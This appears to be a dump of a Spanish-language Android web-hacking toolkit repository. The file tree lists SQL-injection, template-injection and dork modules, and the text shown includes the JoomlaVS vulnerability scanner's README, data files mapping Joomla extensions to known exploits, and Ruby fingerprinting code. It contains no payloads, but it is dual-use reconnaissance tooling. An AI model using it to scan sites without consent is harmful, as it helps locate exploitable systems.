├── .gitignore ├── Gemfile ├── LICENSE ├── README.md ├── joomlavs ├── .gitattributes ├── .gitignore ├── .ruby-version ├── .travis.yml ├── CONTRIBUTING.md ├── Gemfile ├── LICENSE ├── README.md ├── data │ ├── components.json │ ├── joomla.json │ ├── modules.json │ └── templates.json ├── joomlavs.rb ├── lib │ ├── cache.rb │ ├── component_scanner.rb │ ├── extension_scanner.rb │ ├── fingerprint_scanner.rb │ ├── joomlavs │ │ ├── components.rb │ │ ├── extensions.rb │ │ ├── fingerprint.rb │ │ ├── helper.rb │ │ ├── joomlavs.rb │ │ ├── modules.rb │ │ ├── output.rb │ │ ├── target.rb │ │ ├── templates.rb │ │ └── version.rb │ ├── module_scanner.rb │ ├── scanner.rb │ └── template_scanner.rb └── spec │ ├── component_scanner_spec.rb │ ├── extension_scanner_spec.rb │ ├── fingerprint_scanner_spec.rb │ ├── module_scanner_spec.rb │ ├── scanner_spec.rb │ ├── spec_helper.rb │ └── template_scanner_spec.rb ├── modules ├── __init__.py ├── adminder.py ├── buscaelpanel.py ├── checker.py ├── fingerwebmod.py ├── hashid.py ├── hashidentifier ├── johnmod.py ├── logs.py ├── portsmod.py ├── sqlimod.py ├── sqlitest.py ├── sstimod.py ├── tplmap │ ├── .gitignore │ ├── .travis.yml │ ├── LICENSE.md │ ├── README.md │ ├── burp_extension.py │ ├── burp_extension │ │ ├── README.md │ │ ├── __init__.py │ │ ├── burp_extender.py │ │ ├── channel.py │ │ ├── config_tab.py │ │ ├── scan_issue.py │ │ └── scanner_check.py │ ├── config.yml │ ├── core │ │ ├── __init__.py │ │ ├── channel.py │ │ ├── checks.py │ │ ├── clis.py │ │ ├── plugin.py │ │ └── tcpserver.py │ ├── docker-envs │ │ ├── Dockerfile.java │ │ ├── Dockerfile.node │ │ ├── Dockerfile.php │ │ ├── Dockerfile.python2 │ │ ├── Dockerfile.python3 │ │ ├── Dockerfile.ruby │ │ ├── README.md │ │ └── docker-compose.yml │ ├── plugins │ │ ├── __init__.py │ │ ├── engines │ │ │ ├── __init__.py │ │ │ ├── dot.py │ │ │ ├── dust.py │ │ │ ├── ejs.py │ │ │ ├── erb.py │ │ │ ├── freemarker.py │ │ │ ├── jinja2.py │ │ │ ├── mako.py │ │ │ ├── marko.py │ │ │ ├── nunjucks.py │ │ │ ├── pug.py │ │ │ ├── slim.py │ │ │ ├── smarty.py │ │ │ ├── tornado.py │ │ │ ├── twig.py │ │ │ └── velocity.py │ │ └── languages │ │ │ ├── __init__.py │ │ │ ├── bash.py │ │ │ ├── java.py │ │ │ ├── javascript.py │ │ │ ├── php.py │ │ │ ├── python.py │ │ │ └── ruby.py │ ├── requirements.txt │ ├── tests │ │ ├── basetest.py │ │ ├── env_java_tests │ │ │ └── spark-app │ │ │ │ ├── build.gradle │ │ │ │ ├── gradle │ │ │ │ └── wrapper │ │ │ │ │ └── gradle-wrapper.properties │ │ │ │ ├── settings.gradle │ │ │ │ └── src │ │ │ │ └── main │ │ │ │ ├── java │ │ │ │ └── org │ │ │ │ │ └── tplmap │ │ │ │ │ └── webframeworks │ │ │ │ │ └── SparkApplication.java │ │ │ │ └── resources │ │ │ │ └── templates │ │ │ │ └── hello.html │ │ ├── env_node_tests │ │ │ └── connect-app.js │ │ ├── env_php_tests │ │ │ ├── eval.php │ │ │ ├── smarty-3.1.32-secured.php │ │ │ ├── smarty-3.1.32-unsecured.php │ │ │ ├── twig-1.19.0-unsecured.php │ │ │ └── twig-1.20.0-secured.php │ │ ├── env_py_tests │ │ │ └── webserver.py │ │ ├── env_ruby_tests │ │ │ ├── config.ru │ │ │ └── webserver.rb │ │ ├── run_channel_test.sh │ │ ├── run_java_tests.sh │ │ ├── run_node_tests.sh │ │ ├── run_php_tests.sh │ │ ├── run_python2_tests.sh │ │ ├── run_python3_tests.sh │ │ ├── run_ruby_tests.sh │ │ ├── test_channel.py │ │ ├── test_java_freemarker.py │ │ ├── test_java_velocity.py │ │ ├── test_node_dot.py │ │ ├── test_node_dust.py │ │ ├── test_node_ejs.py │ │ ├── test_node_javascript.py │ │ ├── test_node_marko.py │ │ ├── test_node_nunjucks.py │ │ ├── test_node_pug.py │ │ ├── test_php_php.py │ │ ├── test_php_smarty_secured.py │ │ ├── test_php_smarty_unsecured.py │ │ ├── test_php_twig_secured.py │ │ ├── test_php_twig_unsecured.py │ │ ├── test_py_jinja2.py │ │ ├── test_py_mako.py │ │ ├── test_py_python.py │ │ ├── test_py_tornado.py │ │ ├── test_ruby_erb.py │ │ ├── test_ruby_ruby.py │ │ ├── test_ruby_slim.py │ │ └── tests.sh │ ├── tplmap.py │ └── utils │ │ ├── __init__.py │ │ ├── cliparser.py │ │ ├── closures.py │ │ ├── config.py │ │ ├── loggers.py │ │ ├── rand.py │ │ └── strings.py ├── vulns │ └── dorks.txt └── wordlist │ └── worlists.txt └── webhackshl.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | modules/vulns/lfi.txt 3 | modules/vulns/sqli.txt 4 | modules/vulns/rce.txt 5 | modules/vulns/xss.txt 6 | modules/sqlopt/output.txt 7 | Gemfile.lock 8 | *.log 9 | 10 | -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | gem 'colorize', '>=0.8.1' 3 | gem 'nokogiri', '~>1.8.1' 4 | gem 'slop', '~>4.6.0' 5 | gem 'typhoeus', '~>1.3.0' 6 | 7 | group :test do 8 | gem 'rspec', '~>3.7' 9 | end 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WebHackSHL-Termux 2 | 3 | WebHackSHL-Termux es un conjunto de herramientas desarrollado por Security Hack Labs, para realizar auditorias de seguridad web desde basicas hasta avanzadas, diseñado especialmente para sistemas Android. La finalidad de esta herramienta no es fomentar el número de script kiddies y/o crackers. Antes de descargarla tómese el tiempo de leer un poco el código y así mismo entender su funcionamiento, si usted piensa descargar esta herramienta para llevar a cabo actividades ilegales y/o delictivas mejor absténgase de hacerlo. Esta herramienta fue creada con fines éticos y profesionales, también cómo ayuda a especialistas y/o principiantes de Seguridad Informática. 4 | 5 | # Prerequisitos. 6 | 7 | Esta herramienta funciona en Android usando el emulador Termux, otros emuladores no son soportados. Para que la herramienta funcione usted necesita tener instalado Termux y en Termux los paquetes git y python2. Es tan simple cómo hacer lo siguiente:
8 | 9 | 1. Abra Termux en su Android.
10 | 2. Ejecute la siguiente orden en Termux: pkg install git python2
11 | 12 | # Instalación. 13 | 14 | Sigue los pasos que encontrarás en https://securityhacklabs.net/articulo/nuestra-herramienta-de-hacking-para-android. Es muy importante que siga todo al pie de la letra y que tenga en cuenta que deberá reintentar la instalación 3 veces cuando el script se lo pregunte. 15 | 16 | # Uso de la herramienta 17 | Teclee en la terminal de termux:
18 | 19 | ~$ git clone https://github.com/sechacklabs/webhackshl-termux.git
20 | ~$ cd webhackshl-termux
21 | ~$ python2 webhackshl.py
22 | 23 | Para ver todas las opciones de la herramienta:
24 | 25 | ~$ python2 webhackshl.py -h
26 | 27 | # Actualización de la herramienta. 28 | 29 | Si usted ha descargado e instalado la herramienta en su equipo usando el script install.sh y desea actualizarla a la versión más reciente deberá realizar lo siguiente:
30 | 31 | ~$ python2 webhackshl.py -u
32 | 33 | # Soporte y contacto. 34 | 35 | Chat Discord: https://chat.securityhacklabs.net
36 | Blog: https://securityhacklabs.net
37 | Foro: https://foro.securityhacklabs.net/
38 | 39 | # Capturas de pantalla. 40 | 41 | ![Alt text](https://i.imgur.com/0tAFi0k.png "Captura 1") 42 | ![Alt text](https://i.imgur.com/y0DeXeA.png "Captura 2") 43 | -------------------------------------------------------------------------------- /joomlavs/.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text eol=lf 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /joomlavs/.gitignore: -------------------------------------------------------------------------------- 1 | *.gem 2 | *.rbc 3 | /.config 4 | /coverage/ 5 | /InstalledFiles 6 | /pkg/ 7 | /spec/reports/ 8 | /test/tmp/ 9 | /test/version_tmp/ 10 | /tmp/ 11 | 12 | ## Specific to RubyMotion: 13 | .dat* 14 | .repl_history 15 | build/ 16 | 17 | ## Documentation cache and generated files: 18 | /.yardoc/ 19 | /_yardoc/ 20 | /doc/ 21 | /rdoc/ 22 | 23 | ## Environment normalisation: 24 | /.bundle/ 25 | /lib/bundler/man/ 26 | 27 | # for a library or gem, you might want to ignore these files since the code is 28 | # intended to run in multiple environments; otherwise, check them in: 29 | # Gemfile.lock 30 | # .ruby-version 31 | # .ruby-gemset 32 | 33 | # unless supporting rvm < 1.11.0 or doing something fancy, ignore this: 34 | .rvmrc 35 | 36 | # ========================= 37 | # Operating System Files 38 | # ========================= 39 | 40 | # OSX 41 | # ========================= 42 | 43 | .DS_Store 44 | .AppleDouble 45 | .LSOverride 46 | 47 | # Thumbnails 48 | ._* 49 | 50 | # Files that might appear on external disk 51 | .Spotlight-V100 52 | .Trashes 53 | 54 | # Directories potentially created on remote AFP share 55 | .AppleDB 56 | .AppleDesktop 57 | Network Trash Folder 58 | Temporary Items 59 | .apdisk 60 | 61 | # Windows 62 | # ========================= 63 | 64 | # Windows image file caches 65 | Thumbs.db 66 | ehthumbs.db 67 | 68 | # Folder config file 69 | Desktop.ini 70 | 71 | # Recycle Bin used on file shares 72 | $RECYCLE.BIN/ 73 | 74 | # Windows Installer files 75 | *.cab 76 | *.msi 77 | *.msm 78 | *.msp 79 | 80 | # Windows shortcuts 81 | *.lnk 82 | -------------------------------------------------------------------------------- /joomlavs/.ruby-version: -------------------------------------------------------------------------------- 1 | 2.5.1 2 | -------------------------------------------------------------------------------- /joomlavs/.travis.yml: -------------------------------------------------------------------------------- 1 | language: ruby 2 | rvm: 3 | - 2.4.4 4 | - 2.5.1 5 | before_install: 6 | - "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc" 7 | script: 8 | - bundle exec rspec 9 | branches: 10 | except: 11 | - gh-pages 12 | -------------------------------------------------------------------------------- /joomlavs/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # How to contribute 2 | Contributions are always welcome, however, to keep things consistent, please review the following guidelines. 3 | 4 | ## Update unit tests 5 | If you change a core piece of functionality (i.e. in ```lib/*```) then ensure the corresponding unit tests in the ```spec``` folder are updated. 6 | 7 | For more information on writing unit tests with RSpec, see https://relishapp.com/rspec 8 | 9 | ## Ensure RuboCop approves 10 | Unless there's good reason, there should be no [RuboCop](https://github.com/bbatsov/rubocop) warnings for any code you submit a pull request for. Sensible exceptions will be made, but try to keep warnings to a minimum. 11 | 12 | ## Target the development branch 13 | When opening a pull request, compare with the ```development``` branch, rather than ```master```. The master branch is aimed at being equal to the latest stable release; meaning all staged changes need to go into the ```development``` branch. 14 | -------------------------------------------------------------------------------- /joomlavs/Gemfile: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | source 'https://rubygems.org' 4 | 5 | group :cli do 6 | gem 'colorize', '>=0.8.1' 7 | gem 'slop', '~>4.6.2' 8 | end 9 | 10 | group :http do 11 | gem 'nokogiri', '~>1.8.4' 12 | gem 'typhoeus', '~>1.3.0' 13 | end 14 | 15 | group :test do 16 | gem 'coveralls', require: false 17 | gem 'rspec', '~>3.7' 18 | end 19 | -------------------------------------------------------------------------------- /joomlavs/README.md: -------------------------------------------------------------------------------- 1 | # joomlavs [![Build Status](https://travis-ci.org/rastating/joomlavs.svg?branch=master)](https://travis-ci.org/rastating/joomlavs) [![Coverage Status](https://coveralls.io/repos/github/rastating/joomlavs/badge.svg?branch=development)](https://coveralls.io/github/rastating/joomlavs?branch=development) [![Code Climate](https://codeclimate.com/github/rastating/joomlavs/badges/gpa.svg)](https://codeclimate.com/github/rastating/joomlavs) 2 | A black box, Ruby powered, Joomla vulnerability scanner 3 | 4 | ## What is it? 5 | JoomlaVS is a Ruby application that can help automate assessing how vulnerable a Joomla installation is to exploitation. It supports basic finger printing and can scan for vulnerabilities in components, modules and templates as well as vulnerabilities that exist within Joomla itself. 6 | 7 | ## How to install 8 | JoomlaVS has so far only been tested on Debian, but the installation process should be similar across most operating systems. 9 | 10 | 1. Ensure Ruby [2.4.4 or above] is installed on your system 11 | 2. Clone the source code using ```git clone https://github.com/rastating/joomlavs.git``` 12 | 3. Install bundler and required gems using ```gem install bundler && bundle install``` 13 | 14 | ## Troubleshooting Installation 15 | If you have issues installing JoomlaVS' dependencies (in particular, Nokogiri), first make sure you have all the tooling necessary to compile C extensions: 16 | 17 | ``` 18 | sudo apt-get install build-essential patch 19 | ``` 20 | 21 | It’s possible that you don’t have important development header files installed on your system. Here’s what you should do if you should find yourself in this situation: 22 | 23 | ``` 24 | sudo apt-get install ruby-dev zlib1g-dev liblzma-dev libcurl4-openssl-dev 25 | ``` 26 | 27 | ## How to use 28 | The only required option is the ```-u``` / ```--url``` option, which specifies the address to target. To do a full scan, however, the ```--scan-all``` option should also be specified, e.g. ```ruby joomlavs.rb -u yourjoomlatarget.com --scan-all```. 29 | 30 | A full list of options can be found below: 31 | 32 | ``` 33 | usage: joomlavs.rb [options] 34 | Basic options 35 | -u, --url The Joomla URL/domain to scan. 36 | --basic-auth The basic HTTP authentication credentials 37 | -v, --verbose Enable verbose mode 38 | Enumeration options 39 | -a, --scan-all Scan for all vulnerable extensions 40 | -c, --scan-components Scan for vulnerable components 41 | -m, --scan-modules Scan for vulnerable modules 42 | -t, --scan-templates Scan for vulnerable templates 43 | -q, --quiet Scan using only passive methods 44 | Advanced options 45 | --disable-tls-checks Disable SSL/TLS certificate verification. 46 | --follow-redirection Automatically follow redirections 47 | --no-colour Disable colours in output 48 | --proxy <[protocol://]host:port> HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given, HTTP will be used 49 | --proxy-auth The proxy authentication credentials 50 | --threads The number of threads to use when multi-threading requests 51 | --user-agent The user agent string to send with all requests 52 | ``` 53 | 54 | ## License 55 | Copyright (C) 2015-2018 rastating 56 | 57 | Running JoomlaVS against websites without prior mutual consent may be illegal in your country. The author and parties involved in its development accept no liability and are not responsible for any misuse or damage caused by JoomlaVS. 58 | 59 | This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. 60 | 61 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 62 | 63 | You should have received a copy of the GNU General Public License along with this program. If not, see . 64 | -------------------------------------------------------------------------------- /joomlavs/data/modules.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "name": "VisitorData", 4 | "vulns": [ 5 | { 6 | "title": "Joomla Module Camp26 Visitor Data 1.1 - Remote code Execution", 7 | "edbid": 12574, 8 | "osvdbid": "64583", 9 | "date": "2010-05-11", 10 | "introduced_in": 1.1 11 | } 12 | ] 13 | }, 14 | { 15 | "name": "spo", 16 | "vulns": [ 17 | { 18 | "title": "Joomla Component mod_spo SQL Injection Vulnerability", 19 | "edbid": 17560, 20 | "date": "2011-07-21", 21 | "introduced_in": 1.5 22 | } 23 | ] 24 | }, 25 | { 26 | "name": "simplefileuploadv1.3", 27 | "vulns": [ 28 | { 29 | "title": "Joomla Module Simple File Upload 1.3 - Remote Code Execution", 30 | "edbid": 18287, 31 | "cveid": "2011-5148", 32 | "date": "2011-12-28", 33 | "introduced_in": 1.3 34 | } 35 | ] 36 | }, 37 | { 38 | "name": "joomulus", 39 | "vulns": [ 40 | { 41 | "title": "Joomla! Joomulus Component 2.0 - 'tagcloud.swf' Cross-Site Scripting Vulnerability", 42 | "edbid": 33441, 43 | "date": "2009-12-28", 44 | "introduced_in": 2 45 | } 46 | ] 47 | }, 48 | { 49 | "name": "3dcloud", 50 | "vulns": [ 51 | { 52 | "title": "Joomla! 3D Cloud 'tagcloud.swf' Cross-Site Scripting Vulnerability", 53 | "edbid": 33566, 54 | "date": "2010-01-26" 55 | } 56 | ] 57 | }, 58 | { 59 | "name": "currencyconverter", 60 | "vulns": [ 61 | { 62 | "title": "Joomla! Currency Converter Component 'from' Parameter Cross-Site Scripting Vulnerability", 63 | "edbid": 36659, 64 | "cveid": "2012-1018", 65 | "date": "2012-02-02" 66 | } 67 | ] 68 | }, 69 | { 70 | "name": "ccnewsletter", 71 | "vulns": [ 72 | { 73 | "title": "Joomla CCNewsLetter Module 1.0.7 'id' Parameter SQL Injection Vulnerability", 74 | "edbid": 37101, 75 | "cveid": "2011-5099", 76 | "date": "2012-04-23", 77 | "introduced_in": "1.0.7" 78 | } 79 | ] 80 | }, 81 | { 82 | "name": "artuploader", 83 | "vulns": [ 84 | { 85 | "title": "Joomla! Art Uploader Component 'upload.php' Arbitrary File Upload Vulnerability", 86 | "edbid": 37379, 87 | "date": "2012-06-12", 88 | "introduced_in": "1.0.1" 89 | } 90 | ] 91 | }, 92 | { 93 | "name": "jfancy", 94 | "vulns": [ 95 | { 96 | "title": "Joomla! jFancy Component 'script.php' Arbitrary File Upload Vulnerability", 97 | "edbid": 37382, 98 | "date": "2012-06-13", 99 | "introduced_in": "2.0.3" 100 | } 101 | ] 102 | } 103 | ] 104 | -------------------------------------------------------------------------------- /joomlavs/data/templates.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "name": "be2004-2", 4 | "vulns": [ 5 | { 6 | "title": "Joomla Template Be2004-2 (index.php) Remote File Include Exploit", 7 | "edbid": 3759, 8 | "cveid": "2007-2143", 9 | "osvdbid": "37572", 10 | "date": "2007-04-17" 11 | } 12 | ] 13 | }, 14 | { 15 | "name": "bridgeofhope", 16 | "vulns": [ 17 | { 18 | "title": "Joomla Bridge of Hope Template SQL Injection Vulnerability", 19 | "edbid": 10964, 20 | "cveid": "2010-2254", 21 | "osvdbid": "65426", 22 | "date": "2010-01-03" 23 | } 24 | ] 25 | }, 26 | { 27 | "name": "youhostit", 28 | "vulns": [ 29 | { 30 | "title": "Joomla! You!Hostit! 1.0.1 Template Cross-Site Scripting Vulnerability", 31 | "edbid": 33393, 32 | "date": "2009-12-04" 33 | } 34 | ] 35 | } 36 | ] -------------------------------------------------------------------------------- /joomlavs/joomlavs.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # frozen_string_literal: true 4 | 5 | # This file is part of JoomlaVS. 6 | 7 | # JoomlaVS is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | 12 | # JoomlaVS is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | 17 | # You should have received a copy of the GNU General Public License 18 | # along with JoomlaVS. If not, see . 19 | 20 | require 'slop' 21 | require 'typhoeus' 22 | require_relative 'lib/cache' 23 | Typhoeus::Config.cache = Cache.new 24 | require_relative 'lib/joomlavs/helper' 25 | 26 | # Automatically flush stdout 27 | $stdout.sync = true 28 | 29 | class Application 30 | include JoomlaVS 31 | include JoomlaVS::Output 32 | include JoomlaVS::Extensions 33 | include JoomlaVS::Components 34 | include JoomlaVS::Target 35 | include JoomlaVS::Version 36 | include JoomlaVS::Fingerprint 37 | include JoomlaVS::Modules 38 | include JoomlaVS::Templates 39 | 40 | def initialize 41 | initialize_options 42 | @use_colours = !opts[:no_colour] 43 | @target = opts[:url] 44 | end 45 | 46 | def initialize_options 47 | @opts = Slop.parse do |o| 48 | o.separator 'Basic options' 49 | o.string '-u', '--url', 'The Joomla URL/domain to scan.' 50 | o.string '--basic-auth', ' The basic HTTP authentication credentials' 51 | o.bool '-v', '--verbose', 'Enable verbose mode' 52 | 53 | o.separator 'Enumeration options' 54 | o.bool '-a', '--scan-all', 'Scan for all vulnerable extensions' 55 | o.bool '-c', '--scan-components', 'Scan for vulnerable components' 56 | o.bool '-m', '--scan-modules', 'Scan for vulnerable modules' 57 | o.bool '-t', '--scan-templates', 'Scan for vulnerable templates' 58 | o.bool '-q', '--quiet', 'Scan using only passive methods' 59 | 60 | o.separator 'Advanced options' 61 | o.bool '--disable-tls-checks', 'Disable SSL/TLS certificate verification.' 62 | o.bool '--follow-redirection', 'Automatically follow redirections' 63 | o.bool '--no-colour', 'Disable colours in output' 64 | o.string '--proxy', '<[protocol://]host:port> HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given, HTTP will be used' 65 | o.string '--proxy-auth', ' The proxy authentication credentials' 66 | o.integer '--threads', 'The number of threads to use when multi-threading requests', default: 20 67 | o.string '--user-agent', 'The user agent string to send with all requests', default: 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0' 68 | o.bool '--hide-banner', 'Do not show the JoomlaVS banner' 69 | end 70 | end 71 | 72 | def execute_fingerprinting_tasks 73 | @fingerprint_scanner = FingerprintScanner.new(opts[:url], opts) 74 | check_target_redirection 75 | @target = fingerprint_scanner.target_uri 76 | check_user_registration 77 | inspect_headers 78 | check_indexes 79 | determine_joomla_version 80 | end 81 | 82 | def scan_extensions 83 | scan_components 84 | scan_modules 85 | scan_templates 86 | end 87 | 88 | def start 89 | execute_fingerprinting_tasks 90 | display_joomla_vulns 91 | scan_extensions 92 | end 93 | end 94 | 95 | app = Application.new 96 | app.print_banner unless app.opts[:hide_banner] 97 | 98 | if app.has_target 99 | app.print_good("URL: #{app.target}") 100 | app.print_good("Started: #{Time.now.asctime}") 101 | app.start 102 | app.print_line_break 103 | app.print_good 'Finished' 104 | else 105 | puts app.opts 106 | end 107 | 108 | app.print_line_break 109 | -------------------------------------------------------------------------------- /joomlavs/lib/cache.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | class Cache 19 | def initialize 20 | @memory = {} 21 | end 22 | 23 | def get(request) 24 | @memory[request] 25 | end 26 | 27 | def set(request, response) 28 | @memory[request] = response 29 | end 30 | end 31 | -------------------------------------------------------------------------------- /joomlavs/lib/component_scanner.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | require_relative 'extension_scanner' 19 | 20 | # This class provides functionality to scan for 21 | # vulnerable Joomla components. 22 | class ComponentScanner < ExtensionScanner 23 | def initialize(target_uri, opts) 24 | super(target_uri, 'data/components.json', opts) 25 | end 26 | 27 | def extension_prefix 28 | 'com_' 29 | end 30 | 31 | def directory_name 32 | 'components' 33 | end 34 | end 35 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/components.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | module JoomlaVS 19 | module Components 20 | def build_components_filter(scanner) 21 | scanner.build_filter(fingerprint_scanner.components_listing_enabled, fingerprint_scanner.administrator_components_listing_enabled) 22 | end 23 | 24 | def scan_components 25 | scan(:components, ComponentScanner, opts[:scan_components]) 26 | end 27 | end 28 | end 29 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/extensions.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | module JoomlaVS 19 | module Extensions 20 | def display_reference(ref, base_url = nil) 21 | return unless ref 22 | if ref.is_a?(Array) 23 | ref.each do |id| 24 | print_indent("Reference: #{base_url}#{id}") 25 | end 26 | else 27 | print_indent("Reference: #{base_url}#{ref}") 28 | end 29 | end 30 | 31 | def display_vulns(vulns) 32 | vulns.each do |v| 33 | print_line_break 34 | print_error("Title: #{v['title']}") 35 | display_reference v['edbid'], 'https://www.exploit-db.com/exploits/' 36 | display_reference v['cveid'], 'http://www.cvedetails.com/cve/CVE-' 37 | display_reference v['url'] 38 | print_info("Fixed in: #{v['fixed_in']}") if v['fixed_in'] 39 | print_line_break 40 | end 41 | end 42 | 43 | def display_optional_extension_info(e) 44 | print_indent_unless_empty("Description: #{e[:description]}", e[:description]) 45 | print_indent_unless_empty("Author: #{e[:author]}", e[:author]) 46 | print_indent_unless_empty("Author URL: #{e[:author_url]}", e[:author_url]) 47 | end 48 | 49 | def display_required_extension_info(e) 50 | print_good("Name: #{e[:name]} - v#{e[:version]}") 51 | print_indent("Location: #{e[:extension_url]}") 52 | print_indent("Manifest: #{e[:manifest_url]}") 53 | end 54 | 55 | def display_detected_extension(e) 56 | print_line_break 57 | display_required_extension_info(e) 58 | display_optional_extension_info(e) 59 | display_vulns(e[:vulns]) 60 | print_horizontal_rule 61 | end 62 | 63 | def should_scan(scan_flag, filter) 64 | if scan_flag || opts[:scan_all] 65 | return !opts[:quiet] || (opts[:quiet] && filter) 66 | end 67 | end 68 | 69 | def build_filter(scanner) 70 | return [] unless opts[:quiet] 71 | if scanner.instance_of? ComponentScanner 72 | return build_components_filter(scanner) 73 | elsif scanner.instance_of? ModuleScanner 74 | return build_modules_filter(scanner) 75 | elsif scanner.instance_of? TemplateScanner 76 | return build_templates_filter(scanner) 77 | end 78 | end 79 | 80 | def scan(extension_type, scanner_class, scan_flag) 81 | scanner = scanner_class.new(target, opts) 82 | filter = build_filter(scanner) 83 | return unless should_scan(scan_flag, filter) 84 | 85 | print_line_break 86 | print_good("Scanning for vulnerable #{extension_type}...") 87 | extensions = scanner.scan(filter) 88 | print_warning("Found #{extensions.length} vulnerable #{extension_type}.") 89 | print_line_break 90 | print_horizontal_rule 91 | extensions.each { |e| display_detected_extension(e) } 92 | end 93 | end 94 | end 95 | -------------------------------------------------------------------------------- /joomlavs/lib/joomlavs/fingerprint.rb: -------------------------------------------------------------------------------- 1 | # frozen_string_literal: true 2 | 3 | # This file is part of JoomlaVS. 4 | 5 | # JoomlaVS is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | 10 | # JoomlaVS is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | 15 | # You should have received a copy of the GNU General Public License 16 | # along with JoomlaVS. If not, see . 17 | 18 | module JoomlaVS 19 | module Fingerprint 20 | def check_user_registration 21 | print_line_break 22 | print_verbose('Checking if registration is enabled...') 23 | print_warning("Registration is enabled: #{fingerprint_scanner.target_uri}#{fingerprint_scanner.registration_uri}") if fingerprint_scanner.user_registration_enabled 24 | print_verbose('User registration is not enabled.') if !fingerprint_scanner.user_registration_enabled 25 | end 26 | 27 | def inspect_headers 28 | print_line_break if opts[:verbose] 29 | print_verbose('Looking for interesting headers...') 30 | interesting_headers = fingerprint_scanner.interesting_headers 31 | print_good("Found #{interesting_headers.length} interesting headers.") 32 | interesting_headers.each do |header| 33 | print_indent("#{header[0]}: #{header[1]}") 34 | end 35 | end 36 | 37 | def check_indexes 38 | print_line_break if opts[:verbose] 39 | print_verbose('Looking for directory listings...') 40 | 41 | indexes = [ 42 | '/components/', 43 | '/administrator/components/', 44 | '/modules/', 45 | '/administrator/modules/', 46 | '/templates/', 47 | '/administrator/templates/' 48 | ] 49 | 50 | indexes.each do |i| 